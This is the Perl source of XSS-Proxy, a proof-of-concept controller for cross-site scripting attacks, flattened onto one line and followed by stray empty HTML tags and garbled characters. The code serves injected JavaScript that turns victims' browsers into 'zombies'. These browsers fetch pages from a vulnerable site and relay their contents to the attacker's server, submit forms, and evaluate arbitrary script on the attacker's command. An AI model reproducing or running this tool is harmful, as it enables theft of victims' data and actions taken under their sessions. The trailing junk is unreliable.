#!/usr/bin/perl -w # XSS-Proxy.pl # # Anton Rager - arager@avaya.com # Shmoocon PoC code for advanced controlled # XSS attacks $version = "0.0.11"; # This script is an XSS attack controller and allows # an attacker to force a victim to read pages off a # XSS vulnerable server and relay contents back to # this controller. This process also provides client # with new script commands # # Attacker access controller via document /admin and # can review captured document, submit commands to zombies # and submit forms to target sites using specific zombies # # - Program allows loading of local (same document.domain) # documents and content reading # - Recorded document links are modified to ref our attack # server # - Program allows loading of non-local documents, attempted # content reading and error exception handling/recovery # - Program allows javascript variables and expressions to # be forwarded to victim for evaluation and contents recorded # - submit refs are reworked to always put values and methods # on a GET request to our attack server (admin frags?) # - next: traverse off link logic # - next: CSRF based XSS fuzzing and validation # # known bugs: # - Attacker URL rewriting is partial. # -- Issues with single and non-quoted HREFs # -- (Double should be ok in most cases) # -- relative HREF with prior doc a file ref will fail # -- Issues with single quoted form action # -- (Double and non-qoute should work) # - Frag handler is not multi-session - two responses will step # on each other # - Frag handler does not deal with frag after 'final' request # sometimes this will dorkup a document - I need to change # the frag logic to have a seq and total for reassembly # - No Frag handling for attacker submits # - Form logic only deals with numeric form refs - named form # not implemented as not all HTML has names on form elements # - The 2sec sleep on NULL requests is intentional - Firefox needs a delay # for some reason before loading the idle loop (IE is ok without) # prob lots more.... use IO::Socket; # unbuffered output $|=1; print("XSS-Proxy Controller\n--version ",$version, "\n--by Anton Rager (arager\@avaya.com)\n\n"); # MS IE - 2047char limit on URL, so we strip payload to # chunks of 2047 bytes. # Firefox goes past that limit without problems (Firefox gets odd around 20K). $urlbuffer="2047"; # Timer for wait event before reading document contents # tune to doc size and link speeds $loadtimer="6500"; #$loadtimer="12000"; $code_server = "http://localhost"; # load root of document.domain # Jscript for loading first doc, loading showDoc function, # reading contents and xmitting to controller # - controller supplies new code on last xmit # This will become initcode sub init_session { my ($sessionID, $document) = @_; my $raw_code2 = " function showDoc(pageName) { var ack=0; var sessionID=\"$sessionID\"; urlname = escape(window.frames[0].document.location); var nodesLen = window.frames[0].document.childNodes.length; for (x=0;x\'); setTimeout(\"showDoc(\\\'page2\\\')\",$loadtimer); "; return($raw_code2); } # Loadpage sub getdoc { my ($document) = @_; my $raw_code3 = " window.frames[0].document.location=\"$document\";setTimeout(\"showDoc(\\\'page2\\\')\",$loadtimer); "; return($raw_code3); } sub postdoc { my ($document, $form_name, $field_vals) = @_; my @fields_array = split(/\&/,$field_vals); my $posttimer = $loadtimer*4; shift(@fields_array); # 1st is null my $script_code = "if (window.frames[0].document.location == \"$document\") {"; foreach $input_tag (@fields_array) { my @varpair = split(/=/,$input_tag); $varpair[0] = &URLDecode($varpair[0]); $varpair[1] = &URLDecode($varpair[1]); $script_code .= "window.frames[0].document.forms$form_name.$varpair[0].value=\"$varpair[1]\";"; } $script_code .= " window.frames[0].document.forms$form_name.submit(); setTimeout(\"showDoc(\\\'page2\\\')\",$posttimer); } else { reportError(\"XSS submit with invalid doc loaded\"); }"; return($script_code); } sub idler { #command loop / idler my $idle_code = " setTimeout(\"scriptRequest()\",$loadtimer); "; return($idle_code); } # Evaluate # Loadpage sub evalscript { my ($submitcode) = @_; my $eval_code = " var result=$submitcode; if (!result) { result = \"No value for expression\"; } setTimeout(\"scriptRequest(result)\",$loadtimer); "; return($eval_code); } $newline = "\x0D\x0A"; $session=0; # main server $PORT = 80; # pick something not in use $server = IO::Socket::INET->new( Proto => 'tcp', LocalPort => $PORT, Listen => SOMAXCONN, Reuse => 1); die "can't setup server" unless $server; print("[Server $0 accepting clients at http://localhost:$PORT/]\n"); print("Starting Main Listener Loop\n\n"); while ($client = $server->accept()) { $client->autoflush(1); my $request = <$client>; $other_end = getpeername($client); ($iport, $iaddr) = unpack_sockaddr_in($other_end); $client_ip = inet_ntoa($iaddr); print("Request: $request\n"); if ($request =~ m|^GET /(.+?)\?(.+?) HTTP/1.[01]|) { # print("two parms: 1st: $1\n"); # print("second: $2\n\n"); if ($1 eq "null") { # print($client "HTTP/1.0 404 FILE NOT FOUND\n"); print($client "HTTP/1.1 200 OK\n"); print($client "Content-Type: text/plain\n"); print($client "Cache-control: no-cache\n\n"); print $client "ack++;"; #send nothing sleep(2); $quotetest = $2; if ($quotetest =~ m/\&session=(.+?)\&docname=(.+?)\&seq=(.+?)\&data=(.+?)$/) { $doc_name = "host: " . $client_ip. " Document: " . &URLDecode($2); $null_var[$3] = $4; print("Frag - Doc: $doc_name\n"); } else { print("Error...\n"); } # if ($sessionstate[$1] eq "init") { # } $sessionstate[$1] = "fetch: $2 frag_seq_$3"; $statetime[$1] = time(); } elsif ($1 eq "page2") { print($client "HTTP/1.1 200 OK\n"); print($client "Content-Type: text/plain\n"); print($client "Cache-control: no-cache\n\n"); $quotetest = $2; if ($quotetest =~ m/\&session=(.+?)\&docname=(.+?)\&seq=(.+?)\&data=(.+?)$/) { $sess=$1; $doc_name = "host: " . $client_ip. " session: " . $sess. " Document: " . &URLDecode($2); $null_var[$3] = $4; print("Frag - Doc: $doc_name\n"); for ($x=0;$x<$3+1;$x++) { if ($null_var[$x]) { $doc_contents .= $null_var[$x]; } else { print("Missing seq $3\n"); } } push(@snapshot, &URLDecode($doc_contents)); push(@snapname, $doc_name); @null_var=(); $doc_contents=""; $doc_name=""; $sessionstate[$sess] = "fetched: $2"; $statetime[$sess] = time(); } elsif ($quotetest =~ m/\&session=(.+?)\&return=(.+?)$/) { $sess=$1; $result_sum = "host: " . $client_ip. " session: " . $sess." Expression: " . &URLDecode($jeval[$sess])." Result: " . &URLDecode($2); push(@resultlist, &URLDecode($result_sum)); $result_sum=""; $sessionstate[$sess] = "eval_resp"; $statetime[$sess] = time(); } elsif ($quotetest =~ m/\&session=(.+?)\&error=(.+?)$/) { $sess=$1; $error_sum = "host: " . $client_ip. " session: " . $sess." Message: " . &URLDecode($2); push(@errorlist, &URLDecode($error_sum)); $error_sum=""; $sessionstate[$sess] = "error_resp"; $statetime[$sess] = time(); } elsif ($quotetest =~ m/\&session=(.+?)\&loop/) { $sess=$1; $sessionstate[$sess] = "poll_resp"; $statetime[$sess] = time(); } if ($command[$sess] eq "getdoc") { $raw_code3 = &getdoc(&URLDecode($document_list[$sess])); print("Load Document: $document_list[$sess]\n"); $command[$sess]=""; print($client $raw_code3); $sessionstate[$sess] = "fetch_req $document_list[$sess]"; $statetime[$sess] = time(); } elsif ($command[$sess] eq "postdoc") { print("postdoc to $sess\n"); $raw_code3 = &postdoc(&URLDecode($document_list[$sess]),&URLDecode($form_list[$sess]), $formvars[$sess]); $command[$sess]=""; print($client $raw_code3); $sessionstate[$sess] = "postdoc_req $document_list[$sess] $form_list[$sess]"; $statetime[$sess] = time(); } elsif ($command[$sess] eq "jeval") { $raw_code3 = &evalscript(&URLDecode($jeval[$sess])); $command[$sess]=""; print($client $raw_code3); $sessionstate[$sess] = "eval_req $jeval[$sess]"; $statetime[$sess] = time(); } else { $raw_code3 = &idler; print($client $raw_code3); $sessionstate[$sess] = "idle_req"; $statetime[$sess] = time(); } print("$raw_code3\n"); } elsif ($1 eq "admin") { print($client "HTTP/1.0 200 OK\nContent-Type: text/html\n\n"); if ($2=~m/docid=(.+?)$/) { # print($client $snapshot[$1]); # replace all local / same docdomain refs with getdoc refs $displaydoc = $snapshot[$1]; $snapname[$1] =~ m/.+session: (.+?) Document: (.+)$/; $displaysession = $1; $displayloc = $2; print("session: $displaysession document name: $displayloc\n"); # Still need to fix relative pathname extraction - borken if filename on # end $displaydoc =~ s/()/$1\/admin?session=$displaysession&loaddoc=$2/gi; $displaydoc =~ s/()/$1$code_server\/admin?session=$displaysession&loaddoc=$2/gi; $displaydoc =~ s/()/$1$displayloc$2/gi; # form action rewriting $displaydoc =~ s/(])/$1\"$code_server\/admin\"$2/gi; # add our special fields for XSS proxy on attacker side my $fcount=0; $displaydoc =~ s/()/$fcount++;sprintf('%s',$1,$displaysession,$displayloc,$fcount-1)/egi; # convert any POST method to GET $displaydoc =~ s/(]/$1\"get\"/gi; print($client $displaydoc); } elsif ($2=~m/session=(.+?)&loaddoc=(.+?)$/) { $command[$1]="getdoc"; $document_list[$1]=$2; print($client "Submitted Document to Fetch: ", &URLDecode($2) ," to session $1


return to main"); } elsif ($2=~m/__session=(.+?)&__postdoc=(.+?)&__formname=(.+?)(&.+)$/) { $command[$1]="postdoc"; $document_list[$1]=$2; $form_list[$1]=$3; $formvars[$1]=$4; print($client "Submitted Form from Document: ",&URLDecode($2),", form ",&URLDecode($3)," to session $1
contents: ",&URLDecode($4),"

return to main"); } elsif ($2=~m/session=(.+?)&jeval=(.+?)$/) { $command[$1]="jeval"; $jeval[$1]=$2; print($client "Submitted Script Expression: ",&URLDecode($2), " to session $1


return to main"); } } else { print($client "HTTP/1.0 404 FILE NOT FOUND\n"); print($client "Content-Type: text/plain\n\n"); print($client "file $1 not found\n"); } } elsif ($request =~ m|^GET /(.+) HTTP/1.[01]|) { # print("$1\n"); if ($1 eq "xss2.js") { # create new state for this client/XSS document # push ip + init docname to clients array print("script request for script $1\n"); print($client "HTTP/1.1 200 OK\n"); print($client "Content-Type: text/plain\n"); print($client "Cache-control: no-cache\n\n"); # new session $sessionlist[$session]="$client_ip"; $sessionstate[$session] = "init"; $statetime[$1] = time(); # add session ID to intialize jscript functions #$raw_code2 = "var session = \"$session\";" . $raw_code2; $raw_code2 = &init_session($session,"/"); print($client $raw_code2); print("content: $raw_code2\n"); $session++; # update for next session } elsif ($1 eq "admin") { print($client "HTTP/1.0 200 OK\nContent-Type: text/html\n\n"); print("Admin connection from $client_ip\n\r"); print($client "Admin PageXSS-Proxy Controller Session

"); print($client "
Fetch document:
"); print($client "Evaluate:


"); if (scalar(@sessionlist)) { print($client "Clients:
"); for ($looper=0;$looper 10) { $msg="dead session?"; } print($client "$sessionlist[$looper] last state: $sessionstate[$looper] time: ($time_interval sec ago)$msg
"); } if (scalar(@snapshot) || scalar(@resultlist) || scalar(@errorlist)) { print($client "
Document Results:
"); $counter=0; foreach $snappage (@snapshot) { print($client "",$snapname[$counter], "
"); $counter++; } print($client "
Eval Results:
"); foreach $result_info (@resultlist) { print($client "$result_info
"); } print($client "
Errors:
"); foreach $error_info (@errorlist) { print($client "$error_info
"); } } } else { print($client "No contents yet - Waiting for Vixtim to forward some documents

\n $newline"); } } else { print($client "HTTP/1.0 404 FILE NOT FOUND\n"); print($client "Content-Type: text/plain\n\n"); print($client "file $1 not found\n"); } } else { print("Bad Request\n"); print($client "HTTP/1.0 400 BAD REQUEST\n"); print($client "Content-Type: text/plain\n\n"); print($client "BAD REQUEST\n"); } close($client); } sub URLDecode { my $theURL = $_[0]; $theURL =~ s/%([a-fA-F0-9]{2,2})/chr(hex($1))/eg; return $theURL; }
<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            ÑÇÖÞÅ·ÃÀÔÚÏß